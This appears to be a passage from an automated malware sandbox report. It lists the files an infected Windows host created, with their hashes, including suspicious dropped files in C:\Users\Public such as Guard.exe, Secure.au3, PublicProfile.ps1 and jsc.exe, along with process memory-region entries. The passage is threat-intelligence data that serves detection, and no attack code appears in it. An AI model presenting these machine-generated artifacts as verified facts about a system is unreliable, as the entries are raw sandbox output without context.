                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\27e811f4-6595-4b51-b51e-8ad1f7550a33.dmp

                                                  Filesize

                                                  834KB

                                                  MD5

                                                  c60776c589e4c45be37a519c40f30f6d

                                                  SHA1

                                                  ff4f938a253519defc8887dee8cba0c52fe6358b

                                                  SHA256

                                                  6f2a995031044daa807bae761ed5599c0938b946133e97336b27b00704ab4374

                                                  SHA512

                                                  aeb8b648492a25f2b8d12e6914881f1b55d071d9b2ca1a4945e3a36f722a327ada70bd28fbdba2ef88255294d6bec33c31fe84994500849a172fbbbde12f760c

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\44d51d82-e274-4f37-8049-1e99f1aa03ac.dmp

                                                  Filesize

                                                  834KB

                                                  MD5

                                                  845587f7259e8d6e13b52ae20b1a687e

                                                  SHA1

                                                  6b27be545c1cbab86a33f1197dc5475999575aeb

                                                  SHA256

                                                  6e6dde88a279db9ae2c8dc5814e00ecd7e5cba64d366b97c3c787cfcb26cceea

                                                  SHA512

                                                  f64e002bb89749df3e0395cdecc26ea80cc5215e8f068ab712279efc9ee54fd22091baf403ab32adab7d478e4a1b8d0cfae74fa6100802a4c2240f24051b0e1d

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\5d095860-a94f-410d-b88d-086dd1a4d4ac.dmp

                                                  Filesize

                                                  826KB

                                                  MD5

                                                  eabc354cf37f731ed72158b84e7baa37

                                                  SHA1

                                                  1ce02a434918c19bfecd26c59f892475765cb132

                                                  SHA256

                                                  fc503711df478d2a0fe851cca30daae07f4ce6d2791e35bfbc345746811f7af3

                                                  SHA512

                                                  2bf7fc70decdf98624604f8835f3f5e3dcf37e1db274976d8367a57d5acd1aeedc6ddc2bbb090c39220412894b29a9ff328ddb850ba78162522a3f04fe9191c0

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\8137b835-6b51-4aa7-81f4-9bedc0cc6c5d.dmp

                                                  Filesize

                                                  826KB

                                                  MD5

                                                  4cb5bfd8e3cf6ba22fac7d850c5e263a

                                                  SHA1

                                                  5275d6fc6d012e3cbcc6b305f1c8e81834fea591

                                                  SHA256

                                                  7cfd80778e305088976e89a8e24aff33ea0a18de6e82bc741110f7c81823d0a6

                                                  SHA512

                                                  969094731df37b45f951bcdd06c124bd77486737e523c267ef09b70438bad7d335c31cb9d4d48b5fbfb21788ba77e1babd24b6f4cc22c8f38e677263621a945b

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\9109313e-e1c7-460d-816e-fff97b1d9b56.dmp

                                                  Filesize

                                                  826KB

                                                  MD5

                                                  32e585c445ab00126e17538f38c4bd7b

                                                  SHA1

                                                  c9def0ccbb8aed1d82860742d6a5b4537c5adb9a

                                                  SHA256

                                                  90a933e0733f7a6ee87344e19c7f27f1dcd07a841e4c53bd6a7db6dda2b821ce

                                                  SHA512

                                                  4e430c78d3bf291322137acc2c2e7d5fc99c3d3dd23212b47b71a74e976d9bee1eee515692c56649d5daa325aeaaecc05f2370bc6a98168ad363fe33e8ba0eea

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\c6de2fec-4eaf-4243-8d23-1c2d8e97c2a5.dmp

                                                  Filesize

                                                  825KB

                                                  MD5

                                                  34ab31b582f7bc6640f4ed85d9612137

                                                  SHA1

                                                  695fd4b2ad831a9fa16d0a13ee8543a81cb3d7ac

                                                  SHA256

                                                  effea00e0094b4a453cac363232eefb2ce056181a79445f903ef912e35b40d4b

                                                  SHA512

                                                  9d7e23051aa324a8211763ba8fe6af2934afff9a3f2c98a7b6ba68d1ecf8bf8bbdafc7219fa08574d724962ae5ee4448361cc6f59fc0cb68bbc3d70dee36e8e7

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                  Filesize

                                                  152B

                                                  MD5

                                                  34d2c4f40f47672ecdf6f66fea242f4a

                                                  SHA1

                                                  4bcad62542aeb44cae38a907d8b5a8604115ada2

                                                  SHA256

                                                  b214e3affb02a2ea4469a8bbdfa8a179e7cc57cababd83b4bafae9cdbe23fa33

                                                  SHA512

                                                  50fba54ec95d694211a005d0e3e6cf5b5677efa16989cbf854207a1a67e3a139f32b757c6f2ce824a48f621440b93fde60ad1dc790fcec4b76edddd0d92a75d6

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                  Filesize

                                                  152B

                                                  MD5

                                                  8749e21d9d0a17dac32d5aa2027f7a75

                                                  SHA1

                                                  a5d555f8b035c7938a4a864e89218c0402ab7cde

                                                  SHA256

                                                  915193bd331ee9ea7c750398a37fbb552b8c5a1d90edec6293688296bda6f304

                                                  SHA512

                                                  c645a41180ed01e854f197868283f9b40620dbbc813a1c122f6870db574ebc1c4917da4d320bdfd1cc67f23303a2c6d74e4f36dd9d3ffcfa92d3dfca3b7ca31a

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                  Filesize

                                                  152B

                                                  MD5

                                                  e731512651946e4ef2c9f370973d733b

                                                  SHA1

                                                  4f7ed0f3c26c1c73660980f52dcea12b072b6a3c

                                                  SHA256

                                                  09bee612fbad9b383b95e6cb6e5dae0daf8dd98a9c03ec632856eb76c654d2c6

                                                  SHA512

                                                  ca20876539d882ebcb3b77b4123698a26d4f035d7887b97880299c61b2202bff8a32d5fa9ec2a7479cdf13ffd8f81939c0b8cde7c60de6a72227402de7c840a0

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                  Filesize

                                                  152B

                                                  MD5

                                                  ff42a77c2de7511bbea0b4005e62e674

                                                  SHA1

                                                  e14e70c32da51921cc28a36603b761bc32246f54

                                                  SHA256

                                                  e041e7f6ee07e12ea2661316fdd8245863c1aae3a05d8898005393f721d880e3

                                                  SHA512

                                                  1a59718e6dd641ac12a877c787e586f48aab1d3f8fa9eccf1a56092b20ae7d0f6b704e90d9a457a96ba05c4038e314981f07331c94aa5c4a0939cdd6d78087a6

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                                  Filesize

                                                  152B

                                                  MD5

                                                  ea7364d3ea6064de4132aadcb0f73ccd

                                                  SHA1

                                                  788ab38e794a6783ce1a88b228ae01f303f46e52

                                                  SHA256

                                                  782603c1a1534f3fc7cf3aa3c6d1c9708c1f61e19a9bc71f1463ad63806d9b29

                                                  SHA512

                                                  a40cb51e26a8a9d9c606cddb8fb47dc82464b907d15ef940848a85a028b010092125fceacedd5d54fb7f27541786d438ef4e4d179a34b9e20465bd7c29ded319

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                  Filesize

                                                  5KB

                                                  MD5

                                                  58f75d1b44f1e71c6918c923d52b2aaf

                                                  SHA1

                                                  df772dc4dd2f3d9b5f033fb065c63274ca508e08

                                                  SHA256

                                                  9a9d75641b74058d2c09b1a1bbf8b36a99d5774ddef547c5b308406867f1ade9

                                                  SHA512

                                                  fef30134d3cbbf09ae8b1a8faff7a8ea3d351debdb92abc532f780f57bce50a40c2995f073acc3909ccdbbc451afd7c969483975d638bcf8a637cbbcd42d6cce

                                                • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

                                                  Filesize

                                                  264KB

                                                  MD5

                                                  f50f89a0a91564d0b8a211f8921aa7de

                                                  SHA1

                                                  112403a17dd69d5b9018b8cede023cb3b54eab7d

                                                  SHA256

                                                  b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                                  SHA512

                                                  bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                  Filesize

                                                  1KB

                                                  MD5

                                                  a2b24af1492f112d2e53cb7415fda39f

                                                  SHA1

                                                  dbfcee57242a14b60997bd03379cc60198976d85

                                                  SHA256

                                                  fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

                                                  SHA512

                                                  9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m11uhsfx.iuy.ps1

                                                  Filesize

                                                  60B

                                                  MD5

                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                  SHA1

                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                  SHA256

                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                  SHA512

                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                • C:\Users\Public\Guard.exe

                                                  Filesize

                                                  872KB

                                                  MD5

                                                  18ce19b57f43ce0a5af149c96aecc685

                                                  SHA1

                                                  1bd5ca29fc35fc8ac346f23b155337c5b28bbc36

                                                  SHA256

                                                  d8b7c7178fbadbf169294e4f29dce582f89a5cf372e9da9215aa082330dc12fd

                                                  SHA512

                                                  a0c58f04dfb49272a2b6f1e8ce3f541a030a6c7a09bb040e660fc4cd9892ca3ac39cf3d6754c125f7cd1987d1fca01640a153519b4e2eb3e3b4b8c9dc1480558

                                                • C:\Users\Public\PublicProfile.ps1

                                                  Filesize

                                                  367B

                                                  MD5

                                                  65405b53d7734aba2bc7176af3bc406a

                                                  SHA1

                                                  3edc0caf6f9d845283b33c6362e2bf78b6792d5d

                                                  SHA256

                                                  d63adba09c8936c086abe866006a0914716f66bbeebf08e20d63ea7ef8dca32b

                                                  SHA512

                                                  7aeff31ef719dd751a734cb1fafbd58f05c987f959519e43ffecb3f5ddfb64982b5deb8b355021298d4beee07150b1d4bf55d73defc1a173cde526f3abb4a9c2

                                                • C:\Users\Public\Secure.au3

                                                  Filesize

                                                  4.4MB

                                                  MD5

                                                  1e388a35beee631c9e12d71e8bc79528

                                                  SHA1

                                                  77571813bff175b0fc88305f3b6c9e4adf7c9ac6

                                                  SHA256

                                                  5ca0f2fd860b495bf2651853c1867e83b53643d06f4021c0e878a2682b2348e7

                                                  SHA512

                                                  21e27f60ab65074f31aa2a6d8bab065a8d95de283dcb3a7fdb632682ba3a610b6b7637af2343ec2673a402ed7d821cfb9e1433ab1636716e3a8fb947b07fceb3

                                                • C:\Users\Public\jsc.exe

                                                  Filesize

                                                  46KB

                                                  MD5

                                                  94c8e57a80dfca2482dedb87b93d4fd9

                                                  SHA1

                                                  5729e6c7d2f5ab760f0093b9d44f8ac0f876a803

                                                  SHA256

                                                  39e87f0edcdd15582cfefdfab1975aadd2c7ca1e3a5f07b1146ce3206f401bb5

                                                  SHA512

                                                  1798a3607b2b94732b52de51d2748c86f9453343b6d8a417e98e65ddb38e9198cdcb2f45bf60823cb429b312466b28c5103c7588f2c4ef69fa27bfdb4f4c67dc

                                                • memory/864-564-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-596-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-133-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-75-0x000000001C150000-0x000000001C3AF000-memory.dmp

                                                  Filesize

                                                  2.4MB

                                                • memory/864-73-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-72-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-54-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-52-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-127-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-604-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-603-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-371-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-134-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-595-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-565-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-126-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/864-558-0x0000000000400000-0x0000000000700000-memory.dmp

                                                  Filesize

                                                  3.0MB

                                                • memory/1344-46-0x0000000001100000-0x00000000012DC000-memory.dmp

                                                  Filesize

                                                  1.9MB

                                                • memory/3484-12-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

                                                  Filesize

                                                  10.8MB

                                                • memory/3484-16-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

                                                  Filesize

                                                  10.8MB

                                                • memory/3484-11-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

                                                  Filesize

                                                  10.8MB

                                                • memory/3484-1-0x0000028C25DA0000-0x0000028C25DC2000-memory.dmp

                                                  Filesize

                                                  136KB

                                                • memory/3484-0-0x00007FFF4B663000-0x00007FFF4B665000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/4212-19-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

                                                  Filesize

                                                  10.8MB

                                                • memory/4212-37-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

                                                  Filesize

                                                  10.8MB

                                                • memory/4212-21-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

                                                  Filesize

                                                  10.8MB

                                                • memory/4212-20-0x00007FFF4B660000-0x00007FFF4C121000-memory.dmp

                                                  Filesize

                                                  10.8MB